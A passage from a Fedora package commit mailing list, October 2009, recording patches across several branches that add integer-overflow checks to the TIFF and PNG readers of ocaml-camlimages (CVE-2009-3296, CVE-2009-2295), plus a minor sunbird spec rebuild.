+* Fri Oct 16 2009 Richard W.M. Jones <rjones at redhat.com> - 3.0.1-13
+- ocaml-camlimages: TIFF reader multiple integer overflows
+  (CVE 2009-3296 / RHBZ#528732).
+
 * Tue Sep 29 2009 Richard W.M. Jones <rjones at redhat.com> - 3.0.1-12
 - Force rebuild against newer lablgtk.
 



From rjones at fedoraproject.org  Fri Oct 16 09:31:31 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Fri, 16 Oct 2009 09:31:31 +0000 (UTC)
Subject: rpms/ocaml-camlimages/devel ocaml-camlimages.spec,1.21,1.22
Message-ID: <20091016093131.1E46111C00E5@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/ocaml-camlimages/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4858

Modified Files:
	ocaml-camlimages.spec 
Log Message:
Force rebuild.


Index: ocaml-camlimages.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-camlimages/devel/ocaml-camlimages.spec,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- ocaml-camlimages.spec	16 Oct 2009 09:30:27 -0000	1.21
+++ ocaml-camlimages.spec	16 Oct 2009 09:31:31 -0000	1.22
@@ -4,7 +4,7 @@
 
 Name:           ocaml-camlimages
 Version:        3.0.1
-Release:        13%{?dist}
+Release:        14%{?dist}
 Summary:        OCaml image processing library
 
 Group:          Development/Libraries
@@ -116,7 +116,7 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
-* Fri Oct 16 2009 Richard W.M. Jones <rjones at redhat.com> - 3.0.1-13
+* Fri Oct 16 2009 Richard W.M. Jones <rjones at redhat.com> - 3.0.1-14
 - ocaml-camlimages: TIFF reader multiple integer overflows
   (CVE 2009-3296 / RHBZ#528732).
 



From rjones at fedoraproject.org  Fri Oct 16 09:33:42 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Fri, 16 Oct 2009 09:33:42 +0000 (UTC)
Subject: rpms/ocaml-camlimages/F-12
	camlimages-oversized-tiff-check-CVE-2009-3296.patch, NONE,
	1.1 ocaml-camlimages.spec, 1.20, 1.21
Message-ID: <20091016093342.6157C11C00E5@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/ocaml-camlimages/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5530

Modified Files:
	ocaml-camlimages.spec 
Added Files:
	camlimages-oversized-tiff-check-CVE-2009-3296.patch 
Log Message:
* Fri Oct 16 2009 Richard W.M. Jones <rjones at redhat.com> - 3.0.1-12.fc12.1
- ocaml-camlimages: TIFF reader multiple integer overflows
  (CVE 2009-3296 / RHBZ#528732).


camlimages-oversized-tiff-check-CVE-2009-3296.patch:
 tiffread.c |   11 +++++++++++
 1 file changed, 11 insertions(+)

--- NEW FILE camlimages-oversized-tiff-check-CVE-2009-3296.patch ---
--- camlimages-3.0.1.old/src/tiffread.c	2007-01-18 10:29:57.000000000 +0000
+++ camlimages-3.0.1/src/tiffread.c	2009-10-16 10:26:53.841258260 +0100
@@ -21,6 +21,13 @@
 #include <caml/memory.h>
 #include <caml/fail.h>
 
+#include <limits.h>
+#define oversized(x, y) \
+  ((x) < 0 || (y) < 0 || ((y) != 0 && (x) > INT_MAX / (y)))
+
+#define failwith_oversized(lib) \
+  failwith("#lib error: image contains oversized or bogus width and height");
+
 /* These are defined in caml/config.h */
 #define int16 int16tiff
 #define uint16 uint16tiff
@@ -64,6 +71,10 @@
     TIFFGetField(tif, TIFFTAG_YRESOLUTION, &yres);
     TIFFGetField(tif, TIFFTAG_PHOTOMETRIC, &photometric);
 
+    if (oversized (imagewidth, imagelength)) {
+      failwith_oversized("tiff");
+    }
+
     if( imagesample == 3 && photometric == PHOTOMETRIC_RGB ){
       if( imagebits != 8 ){
 	failwith("Sorry, tiff rgb file must be 24bit-color");


Index: ocaml-camlimages.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-camlimages/F-12/ocaml-camlimages.spec,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- ocaml-camlimages.spec	29 Sep 2009 15:12:40 -0000	1.20
+++ ocaml-camlimages.spec	16 Oct 2009 09:33:42 -0000	1.21
@@ -4,7 +4,7 @@
 
 Name:           ocaml-camlimages
 Version:        3.0.1
-Release:        12%{?dist}
+Release:        12%{?dist}.1
 Summary:        OCaml image processing library
 
 Group:          Development/Libraries
@@ -20,6 +20,9 @@ Patch0:         camlimages-3.0.1-display
 # https://bugzilla.redhat.com/show_bug.cgi?id=509531#c4
 Patch1:         camlimages-oversized-png-check-CVE-2009-2295.patch
 
+# https://bugzilla.redhat.com/show_bug.cgi?id=528732
+Patch2:         camlimages-oversized-tiff-check-CVE-2009-3296.patch
+
 BuildRequires:  ocaml >= 3.10.1
 BuildRequires:  ocaml-lablgtk-devel
 BuildRequires:  ocaml-x11
@@ -67,6 +70,7 @@ Includes documentation provided by ocaml
 # the examples/liv directory, so rename it:
 %patch0 -p1
 %patch1 -p1
+%patch2 -p1
 aclocal -I .
 automake
 autoconf
@@ -112,6 +116,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 16 2009 Richard W.M. Jones <rjones at redhat.com> - 3.0.1-12.fc12.1
+- ocaml-camlimages: TIFF reader multiple integer overflows
+  (CVE 2009-3296 / RHBZ#528732).
+
 * Tue Sep 29 2009 Richard W.M. Jones <rjones at redhat.com> - 3.0.1-12
 - Force rebuild against newer lablgtk.
 



From xhorak at fedoraproject.org  Fri Oct 16 09:34:06 2009
From: xhorak at fedoraproject.org (Jan Horak)
Date: Fri, 16 Oct 2009 09:34:06 +0000 (UTC)
Subject: rpms/sunbird/F-11 sunbird.spec,1.34,1.35
Message-ID: <20091016093406.22C9911C00E5@cvs1.fedora.phx.redhat.com>

Author: xhorak

Update of /cvs/pkgs/rpms/sunbird/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5705

Modified Files:
	sunbird.spec 
Log Message:
Rebuild due to Thunderbird updated package


Index: sunbird.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sunbird/F-11/sunbird.spec,v
retrieving revision 1.34
retrieving revision 1.35
diff -u -p -r1.34 -r1.35
--- sunbird.spec	23 Sep 2009 06:22:21 -0000	1.34
+++ sunbird.spec	16 Oct 2009 09:34:05 -0000	1.35
@@ -13,7 +13,7 @@
 
 Name:           sunbird
 Version:        1.0
-Release:        0.7.20090715hg%{?dist}
+Release:        0.8.20090715hg%{?dist}
 Summary:        Calendar application built upon Mozilla toolkit
 
 Group:          Applications/Productivity
@@ -72,7 +72,8 @@ Group:          Applications/Productivit
 Requires:       thunderbird >= 3
 # Temporary, so we can be sure about the Thunderbird API
 Requires:       thunderbird >= 3.0-2.7.b4
-Requires:       thunderbird < 3.0-2.7.b5
+# Do we really need this?
+#Requires:       thunderbird < 3.0-2.7.b5
 
 Obsoletes:      thunderbird-lightning-wcap <= 0.8
 Provides:       thunderbird-lightning-wcap = %{version}-%{release}
@@ -295,6 +296,9 @@ fi
 
 
 %changelog
+* Fri Oct 16 2009 Jan Horak <jhorak at redhat.com> - 1.0-0.7.20090715hg
+- Rebuild due to new version of Thunderbird
+
 * Tue Sep 22 2009 Jan Horak <jhorak at redhat.com> - 1.0-0.7.20090715hg
 - Sync up with Thunderbird
 



From rjones at fedoraproject.org  Fri Oct 16 09:36:24 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Fri, 16 Oct 2009 09:36:24 +0000 (UTC)
Subject: rpms/ocaml-camlimages/F-11
	camlimages-oversized-tiff-check-CVE-2009-3296.patch, NONE,
	1.1 ocaml-camlimages.spec, 1.16, 1.17
Message-ID: <20091016093624.3827411C00E5@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/ocaml-camlimages/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12043

Modified Files:
	ocaml-camlimages.spec 
Added Files:
	camlimages-oversized-tiff-check-CVE-2009-3296.patch 
Log Message:
* Fri Oct 16 2009 Richard W.M. Jones <rjones at redhat.com> - 3.0.1-7.fc11.3
- ocaml-camlimages: TIFF reader multiple integer overflows
  (CVE 2009-3296 / RHBZ#528732).


camlimages-oversized-tiff-check-CVE-2009-3296.patch:
 tiffread.c |   11 +++++++++++
 1 file changed, 11 insertions(+)

--- NEW FILE camlimages-oversized-tiff-check-CVE-2009-3296.patch ---
--- camlimages-3.0.1.old/src/tiffread.c	2007-01-18 10:29:57.000000000 +0000
+++ camlimages-3.0.1/src/tiffread.c	2009-10-16 10:26:53.841258260 +0100
@@ -21,6 +21,13 @@
 #include <caml/memory.h>
 #include <caml/fail.h>
 
+#include <limits.h>
+#define oversized(x, y) \
+  ((x) < 0 || (y) < 0 || ((y) != 0 && (x) > INT_MAX / (y)))
+
+#define failwith_oversized(lib) \
+  failwith("#lib error: image contains oversized or bogus width and height");
+
 /* These are defined in caml/config.h */
 #define int16 int16tiff
 #define uint16 uint16tiff
@@ -64,6 +71,10 @@
     TIFFGetField(tif, TIFFTAG_YRESOLUTION, &yres);
     TIFFGetField(tif, TIFFTAG_PHOTOMETRIC, &photometric);
 
+    if (oversized (imagewidth, imagelength)) {
+      failwith_oversized("tiff");
+    }
+
     if( imagesample == 3 && photometric == PHOTOMETRIC_RGB ){
       if( imagebits != 8 ){
 	failwith("Sorry, tiff rgb file must be 24bit-color");


Index: ocaml-camlimages.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-camlimages/F-11/ocaml-camlimages.spec,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- ocaml-camlimages.spec	3 Jul 2009 18:30:05 -0000	1.16
+++ ocaml-camlimages.spec	16 Oct 2009 09:36:24 -0000	1.17
@@ -4,7 +4,7 @@
 
 Name:           ocaml-camlimages
 Version:        3.0.1
-Release:        7%{?dist}.2
+Release:        7%{?dist}.3
 Summary:        OCaml image processing library
 
 Group:          Development/Libraries
@@ -19,6 +19,9 @@ Patch0:         camlimages-3.0.1-display
 # https://bugzilla.redhat.com/show_bug.cgi?id=509531#c4
 Patch1:         camlimages-oversized-png-check-CVE-2009-2295.patch
 
+# https://bugzilla.redhat.com/show_bug.cgi?id=528732
+Patch2:         camlimages-oversized-tiff-check-CVE-2009-3296.patch
+
 BuildRequires:  ocaml >= 3.10.1
 BuildRequires:  ocaml-lablgtk-devel
 BuildRequires:  ocaml-x11
@@ -66,6 +69,7 @@ Includes documentation provided by ocaml
 # the examples/liv directory, so rename it:
 %patch0 -p1
 %patch1 -p1
+%patch2 -p1
 aclocal -I .
 automake
 autoconf
@@ -111,6 +115,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 16 2009 Richard W.M. Jones <rjones at redhat.com> - 3.0.1-7.fc11.3
+- ocaml-camlimages: TIFF reader multiple integer overflows
+  (CVE 2009-3296 / RHBZ#528732).
+
 * Fri Jul  3 2009 Richard W.M. Jones <rjones at redhat.com> - 3.0.1-7.fc11.2
 - ocaml-camlimages: PNG reader multiple integer overflows
   (CVE 2009-2295 / RHBZ#509531).



From rjones at fedoraproject.org  Fri Oct 16 09:39:25 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Fri, 16 Oct 2009 09:39:25 +0000 (UTC)
Subject: rpms/ocaml-camlimages/F-10
	camlimages-oversized-tiff-check-CVE-2009-3296.patch, NONE,
	1.1 ocaml-camlimages.spec, 1.12, 1.13
Message-ID: <20091016093925.E0DFD11C00E5@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/ocaml-camlimages/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28679

Modified Files:
	ocaml-camlimages.spec 
Added Files:
	camlimages-oversized-tiff-check-CVE-2009-3296.patch 
Log Message:
* Fri Oct 16 2009 Richard W.M. Jones <rjones at redhat.com> - 3.0.1-3.fc10.3
- ocaml-camlimages: TIFF reader multiple integer overflows
  (CVE 2009-3296 / RHBZ#528732).


camlimages-oversized-tiff-check-CVE-2009-3296.patch:
 tiffread.c |   11 +++++++++++
 1 file changed, 11 insertions(+)

--- NEW FILE camlimages-oversized-tiff-check-CVE-2009-3296.patch ---
--- camlimages-3.0.1.old/src/tiffread.c	2007-01-18 10:29:57.000000000 +0000
+++ camlimages-3.0.1/src/tiffread.c	2009-10-16 10:26:53.841258260 +0100
@@ -21,6 +21,13 @@
 #include <caml/memory.h>
 #include <caml/fail.h>
 
+#include <limits.h>
+#define oversized(x, y) \
+  ((x) < 0 || (y) < 0 || ((y) != 0 && (x) > INT_MAX / (y)))
+
+#define failwith_oversized(lib) \
+  failwith("#lib error: image contains oversized or bogus width and height");
+
 /* These are defined in caml/config.h */
 #define int16 int16tiff
 #define uint16 uint16tiff
@@ -64,6 +71,10 @@
     TIFFGetField(tif, TIFFTAG_YRESOLUTION, &yres);
     TIFFGetField(tif, TIFFTAG_PHOTOMETRIC, &photometric);
 
+    if (oversized (imagewidth, imagelength)) {
+      failwith_oversized("tiff");
+    }
+
     if( imagesample == 3 && photometric == PHOTOMETRIC_RGB ){
       if( imagebits != 8 ){
 	failwith("Sorry, tiff rgb file must be 24bit-color");


Index: ocaml-camlimages.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-camlimages/F-10/ocaml-camlimages.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- ocaml-camlimages.spec	3 Jul 2009 18:30:05 -0000	1.12
+++ ocaml-camlimages.spec	16 Oct 2009 09:39:25 -0000	1.13
@@ -4,7 +4,7 @@
 
 Name:           ocaml-camlimages
 Version:        3.0.1
-Release:        3%{?dist}.2
+Release:        3%{?dist}.3
 Summary:        OCaml image processing library
 
 Group:          Development/Libraries
@@ -19,6 +19,9 @@ Patch0:         camlimages-3.0.1-display
 # https://bugzilla.redhat.com/show_bug.cgi?id=509531#c4
 Patch1:         camlimages-oversized-png-check-CVE-2009-2295.patch
 
+# https://bugzilla.redhat.com/show_bug.cgi?id=528732
+Patch2:         camlimages-oversized-tiff-check-CVE-2009-3296.patch
+
 BuildRequires:  ocaml >= 3.10.1
 BuildRequires:  ocaml-lablgtk-devel
 BuildRequires:  ocaml-x11
@@ -66,6 +69,7 @@ Includes documentation provided by ocaml
 # the examples/liv directory, so rename it:
 %patch0 -p1
 %patch1 -p1
+%patch2 -p1
 aclocal -I .
 automake
 autoconf
@@ -111,6 +115,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 16 2009 Richard W.M. Jones <rjones at redhat.com> - 3.0.1-3.fc10.3
+- ocaml-camlimages: TIFF reader multiple integer overflows
+  (CVE 2009-3296 / RHBZ#528732).
+
 * Fri Jul  3 2009 Richard W.M. Jones <rjones at redhat.com> - 3.0.1-3.fc10.2
 - ocaml-camlimages: PNG reader multiple integer overflows
   (CVE 2009-2295 / RHBZ#509531).



From rjones at fedoraproject.org  Fri Oct 16 09:49:59 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Fri, 16 Oct 2009 09:49:59 +0000 (UTC)
Subject: rpms/ocaml-camlimages/EL-5
	camlimages-oversized-tiff-check-CVE-2009-3296.patch, NONE,
	1.1 camlimages-oversized-png-check-CVE-2009-2295.patch, 1.2,
	1.3 ocaml-camlimages.spec, 1.4, 1.5
Message-ID: <20091016094959.B014211C00E5@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/ocaml-camlimages/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22975

Modified Files:
	camlimages-oversized-png-check-CVE-2009-2295.patch 
	ocaml-camlimages.spec 
Added Files:
	camlimages-oversized-tiff-check-CVE-2009-3296.patch 
Log Message:
* Fri Oct 16 2009 Richard W.M. Jones <rjones at redhat.com> - 2.2.0-11
- ocaml-camlimages: TIFF reader multiple integer overflows
  (CVE 2009-3296 / RHBZ#528732).


camlimages-oversized-tiff-check-CVE-2009-3296.patch:
 tiffread.c |   16 ++++++++++++++++
 1 file changed, 16 insertions(+)

--- NEW FILE camlimages-oversized-tiff-check-CVE-2009-3296.patch ---
--- camlimages-2.2.orig/tiff/tiffread.c	2004-09-21 22:56:44.000000000 +0100
+++ camlimages-2.2.tiff/tiff/tiffread.c	2009-10-16 10:47:32.515257997 +0100
@@ -18,6 +18,13 @@
 #include <caml/memory.h>
 #include <caml/fail.h>
 
+#include <limits.h>
+#define oversized(x, y) \
+  ((x) < 0 || (y) < 0 || ((y) != 0 && (x) > INT_MAX / (y)))
+
+#define failwith_oversized(lib) \
+  failwith("#lib error: image contains oversized or bogus width and height");
+
 #if HAVE_TIFF
 
 /* These are defined in caml/config.h */
@@ -68,6 +75,10 @@
     TIFFGetField(tif, TIFFTAG_YRESOLUTION, &yres);
     TIFFGetField(tif, TIFFTAG_PHOTOMETRIC, &photometric);
 
+    if (oversized (imagewidth, imagelength)) {
+      failwith_oversized("tiff");
+    }
+
     if( imagesample == 3 && photometric == PHOTOMETRIC_RGB ){
       if( imagebits != 8 ){
 	failwith("Sorry, tiff rgb file must be 24bit-color");
@@ -156,6 +167,11 @@
     TIFFGetField(tif, TIFFTAG_RESOLUTIONUNIT, &runit);
     TIFFGetField(tif, TIFFTAG_XRESOLUTION, &xres);
     TIFFGetField(tif, TIFFTAG_YRESOLUTION, &yres);
+
+    if (oversized (imagewidth, imagelength)) {
+      failwith_oversized("tiff");
+    }
+
     if( imagesample != 3 || imagebits != 8 ) {
       failwith("tiff file is not in the 24 bit RGB format");
     }

camlimages-oversized-png-check-CVE-2009-2295.patch:
 pngread.c |   28 +++++++++++++++++++++++++++-
 1 file changed, 27 insertions(+), 1 deletion(-)

Index: camlimages-oversized-png-check-CVE-2009-2295.patch
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-camlimages/EL-5/camlimages-oversized-png-check-CVE-2009-2295.patch,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- camlimages-oversized-png-check-CVE-2009-2295.patch	3 Jul 2009 18:28:47 -0000	1.2
+++ camlimages-oversized-png-check-CVE-2009-2295.patch	16 Oct 2009 09:49:59 -0000	1.3
@@ -1,28 +1,28 @@
---- camlimages-3.0.1.orig/src/pngread.c	2007-01-18 10:29:57.000000000 +0000
-+++ camlimages-3.0.1.oversized/src/pngread.c	2009-07-03 15:51:00.000000000 +0100
-@@ -15,6 +15,8 @@
- #include "config.h"
- #endif
+--- camlimages-2.2.orig/png/pngread.c	2002-03-26 13:15:10.000000000 +0000
++++ camlimages-2.2.png/png/pngread.c	2009-10-16 10:46:07.759508515 +0100
+@@ -13,6 +13,8 @@
+ /***********************************************************************/
+ #include <config.h>
  
 +#include <limits.h>
 +
+ #if HAVE_PNG
  #include <png.h>
- 
- #include <caml/mlvalues.h>
-@@ -26,6 +28,12 @@
+ #endif
+@@ -33,6 +35,12 @@
  #define PNG_TAG_INDEX16 2
  #define PNG_TAG_INDEX4 3
  
 +/* Test if x or y are negative, or if multiplying x * y would cause an
 + * arithmetic overflow.
 + */
-+#define oversized(x, y)						\
++#define oversized(x, y)                                                \
 +  ((x) < 0 || (y) < 0 || ((y) != 0 && (x) > INT_MAX / (y)))
 +
  value read_png_file_as_rgb24( name )
       value name;
  {
-@@ -81,6 +89,9 @@
+@@ -88,6 +96,9 @@
    png_get_IHDR(png_ptr, info_ptr, &width, &height, &bit_depth, &color_type,
  	       &interlace_type, NULL, NULL);
  
@@ -32,7 +32,7 @@
    if ( color_type == PNG_COLOR_TYPE_GRAY ||
         color_type == PNG_COLOR_TYPE_GRAY_ALPHA ) { 
      png_set_gray_to_rgb(png_ptr); 
-@@ -102,10 +113,16 @@
+@@ -109,10 +120,16 @@
  
    rowbytes = png_get_rowbytes(png_ptr, info_ptr);
  
@@ -49,7 +49,7 @@
      row_pointers = (png_bytep*) stat_alloc(sizeof(png_bytep) * height);
  
      res = alloc_tuple(3);
-@@ -235,6 +252,9 @@
+@@ -242,6 +259,9 @@
    png_get_IHDR(png_ptr, info_ptr, &width, &height, &bit_depth, &color_type,
  	       &interlace_type, NULL, NULL);
  
@@ -59,7 +59,7 @@
    if ( color_type == PNG_COLOR_TYPE_GRAY ||
         color_type == PNG_COLOR_TYPE_GRAY_ALPHA ) { 
      png_set_gray_to_rgb(png_ptr); 
-@@ -251,6 +271,9 @@
+@@ -258,6 +278,9 @@
  
    rowbytes = png_get_rowbytes(png_ptr, info_ptr);
  
@@ -69,10 +69,12 @@
  /*
  fprintf(stderr, "pngread.c: actual loading\n"); fflush(stderr);
  */
-@@ -259,6 +282,9 @@
+@@ -265,7 +288,10 @@
+     int i;
      png_bytep *row_pointers;
      char mesg[256];
-  
+- 
++
 +    if (oversized (sizeof (png_bytep), height))
 +      failwith ("png error: image contains oversized or bogus height");
 +


Index: ocaml-camlimages.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-camlimages/EL-5/ocaml-camlimages.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- ocaml-camlimages.spec	3 Jul 2009 14:06:49 -0000	1.4
+++ ocaml-camlimages.spec	16 Oct 2009 09:49:59 -0000	1.5
@@ -1,6 +1,6 @@
 Name:           ocaml-camlimages
 Version:        2.2.0
-Release:        10%{?dist}
+Release:        11%{?dist}
 Summary:        OCaml image processing library
 
 Group:          Development/Libraries
@@ -13,6 +13,9 @@ Patch0:         camlimages-2.2.0-stubdes
 # https://bugzilla.redhat.com/show_bug.cgi?id=509531#c4
 Patch1:         camlimages-oversized-png-check-CVE-2009-2295.patch
 
+# https://bugzilla.redhat.com/show_bug.cgi?id=528732
+Patch2:         camlimages-oversized-tiff-check-CVE-2009-3296.patch
+
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  ocaml-lablgtk libpng-devel libjpeg-devel ocaml
@@ -45,10 +48,8 @@ Includes documentation provided by ocaml
 %prep
 %setup -q -n camlimages-2.2 -a 1
 %patch0 -p1
-
-pushd png
-%patch1 -p2
-popd
+%patch1 -p1
+%patch2 -p1
 
 sed -i -e 's|LIBRARYDIRS=ppm bmp xvthumb jpeg tiff gif png xpm ps graphics freetype|LIBRARYDIRS=%buildlibs|' Makefile.build.in
 
@@ -79,6 +80,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 16 2009 Richard W.M. Jones <rjones at redhat.com> - 2.2.0-11
+- ocaml-camlimages: TIFF reader multiple integer overflows
+  (CVE 2009-3296 / RHBZ#528732).
+
 * Fri Jul  3 2009 Richard W.M. Jones <rjones at redhat.com> - 2.2.0-10
 - ocaml-camlimages: PNG reader multiple integer overflows
   (CVE 2009-2295 / RHBZ#509531).



From rjones at fedoraproject.org  Fri Oct 16 09:51:58 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Fri, 16 Oct 2009 09:51:58 +0000 (UTC)
Subject: rpms/ocaml-camlimages/EL-4
	camlimages-oversized-tiff-check-CVE-2009-3296.patch, NONE,
	1.1 camlimages-oversized-png-check-CVE-2009-2295.patch, 1.2,
	1.3 ocaml-camlimages.spec, 1.3, 1.4
Message-ID: <20091016095158.2CC1C11C00E5@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/ocaml-camlimages/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3755

Modified Files:
	camlimages-oversized-png-check-CVE-2009-2295.patch 
	ocaml-camlimages.spec 
Added Files:
	camlimages-oversized-tiff-check-CVE-2009-3296.patch 
Log Message:
* Fri Oct 16 2009 Richard W.M. Jones <rjones at redhat.com> - 2.2.0-9
- ocaml-camlimages: TIFF reader multiple integer overflows
  (CVE 2009-3296 / RHBZ#528732).


camlimages-oversized-tiff-check-CVE-2009-3296.patch:
 tiffread.c |   16 ++++++++++++++++
 1 file changed, 16 insertions(+)

--- NEW FILE camlimages-oversized-tiff-check-CVE-2009-3296.patch ---
--- camlimages-2.2.orig/tiff/tiffread.c	2004-09-21 22:56:44.000000000 +0100
+++ camlimages-2.2.tiff/tiff/tiffread.c	2009-10-16 10:47:32.515257997 +0100
@@ -18,6 +18,13 @@
 #include <caml/memory.h>
 #include <caml/fail.h>
 
+#include <limits.h>
+#define oversized(x, y) \
+  ((x) < 0 || (y) < 0 || ((y) != 0 && (x) > INT_MAX / (y)))
+
+#define failwith_oversized(lib) \
+  failwith("#lib error: image contains oversized or bogus width and height");
+
 #if HAVE_TIFF
 
 /* These are defined in caml/config.h */
@@ -68,6 +75,10 @@
     TIFFGetField(tif, TIFFTAG_YRESOLUTION, &yres);
     TIFFGetField(tif, TIFFTAG_PHOTOMETRIC, &photometric);
 
+    if (oversized (imagewidth, imagelength)) {
+      failwith_oversized("tiff");
+    }
+
     if( imagesample == 3 && photometric == PHOTOMETRIC_RGB ){
       if( imagebits != 8 ){
 	failwith("Sorry, tiff rgb file must be 24bit-color");
@@ -156,6 +167,11 @@
     TIFFGetField(tif, TIFFTAG_RESOLUTIONUNIT, &runit);
     TIFFGetField(tif, TIFFTAG_XRESOLUTION, &xres);
     TIFFGetField(tif, TIFFTAG_YRESOLUTION, &yres);
+
+    if (oversized (imagewidth, imagelength)) {
+      failwith_oversized("tiff");
+    }
+
     if( imagesample != 3 || imagebits != 8 ) {
       failwith("tiff file is not in the 24 bit RGB format");
     }

camlimages-oversized-png-check-CVE-2009-2295.patch:
 pngread.c |   28 +++++++++++++++++++++++++++-
 1 file changed, 27 insertions(+), 1 deletion(-)

Index: camlimages-oversized-png-check-CVE-2009-2295.patch
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-camlimages/EL-4/camlimages-oversized-png-check-CVE-2009-2295.patch,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- camlimages-oversized-png-check-CVE-2009-2295.patch	3 Jul 2009 18:28:47 -0000	1.2
+++ camlimages-oversized-png-check-CVE-2009-2295.patch	16 Oct 2009 09:51:57 -0000	1.3
@@ -1,28 +1,28 @@
---- camlimages-3.0.1.orig/src/pngread.c	2007-01-18 10:29:57.000000000 +0000
-+++ camlimages-3.0.1.oversized/src/pngread.c	2009-07-03 15:51:00.000000000 +0100
-@@ -15,6 +15,8 @@
- #include "config.h"
- #endif
+--- camlimages-2.2.orig/png/pngread.c	2002-03-26 13:15:10.000000000 +0000
++++ camlimages-2.2.png/png/pngread.c	2009-10-16 10:46:07.759508515 +0100
+@@ -13,6 +13,8 @@
+ /***********************************************************************/
+ #include <config.h>
  
 +#include <limits.h>
 +
+ #if HAVE_PNG
  #include <png.h>
- 
- #include <caml/mlvalues.h>
-@@ -26,6 +28,12 @@
+ #endif
+@@ -33,6 +35,12 @@
  #define PNG_TAG_INDEX16 2
  #define PNG_TAG_INDEX4 3
  
 +/* Test if x or y are negative, or if multiplying x * y would cause an
 + * arithmetic overflow.
 + */
-+#define oversized(x, y)						\
++#define oversized(x, y)                                                \
 +  ((x) < 0 || (y) < 0 || ((y) != 0 && (x) > INT_MAX / (y)))
 +
  value read_png_file_as_rgb24( name )
       value name;
  {
-@@ -81,6 +89,9 @@
+@@ -88,6 +96,9 @@
    png_get_IHDR(png_ptr, info_ptr, &width, &height, &bit_depth, &color_type,
  	       &interlace_type, NULL, NULL);
  
@@ -32,7 +32,7 @@
    if ( color_type == PNG_COLOR_TYPE_GRAY ||
         color_type == PNG_COLOR_TYPE_GRAY_ALPHA ) { 
      png_set_gray_to_rgb(png_ptr); 
-@@ -102,10 +113,16 @@
+@@ -109,10 +120,16 @@
  
    rowbytes = png_get_rowbytes(png_ptr, info_ptr);
  
@@ -49,7 +49,7 @@
      row_pointers = (png_bytep*) stat_alloc(sizeof(png_bytep) * height);
  
      res = alloc_tuple(3);
-@@ -235,6 +252,9 @@
+@@ -242,6 +259,9 @@
    png_get_IHDR(png_ptr, info_ptr, &width, &height, &bit_depth, &color_type,
  	       &interlace_type, NULL, NULL);
  
@@ -59,7 +59,7 @@
    if ( color_type == PNG_COLOR_TYPE_GRAY ||
         color_type == PNG_COLOR_TYPE_GRAY_ALPHA ) { 
      png_set_gray_to_rgb(png_ptr); 
-@@ -251,6 +271,9 @@
+@@ -258,6 +278,9 @@
  
    rowbytes = png_get_rowbytes(png_ptr, info_ptr);
  
@@ -69,10 +69,12 @@
  /*
  fprintf(stderr, "pngread.c: actual loading\n"); fflush(stderr);
  */
-@@ -259,6 +282,9 @@
+@@ -265,7 +288,10 @@
+     int i;
      png_bytep *row_pointers;
      char mesg[256];
-  
+- 
++
 +    if (oversized (sizeof (png_bytep), height))
 +      failwith ("png error: image contains oversized or bogus height");
 +


Index: ocaml-camlimages.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-camlimages/EL-4/ocaml-camlimages.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- ocaml-camlimages.spec	3 Jul 2009 13:59:36 -0000	1.3
+++ ocaml-camlimages.spec	16 Oct 2009 09:51:57 -0000	1.4
@@ -13,6 +13,9 @@ Patch0:         camlimages-2.2.0-stubdes
 # https://bugzilla.redhat.com/show_bug.cgi?id=509531#c4
 Patch1:         camlimages-oversized-png-check-CVE-2009-2295.patch
 
+# https://bugzilla.redhat.com/show_bug.cgi?id=528732
+Patch2:         camlimages-oversized-tiff-check-CVE-2009-3296.patch
+
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 # Excluding on ppc64 due to missing dependencies (Bug #239518)
@@ -48,10 +51,8 @@ Includes documentation provided by ocaml
 %prep
 %setup -q -n camlimages-2.2 -a 1
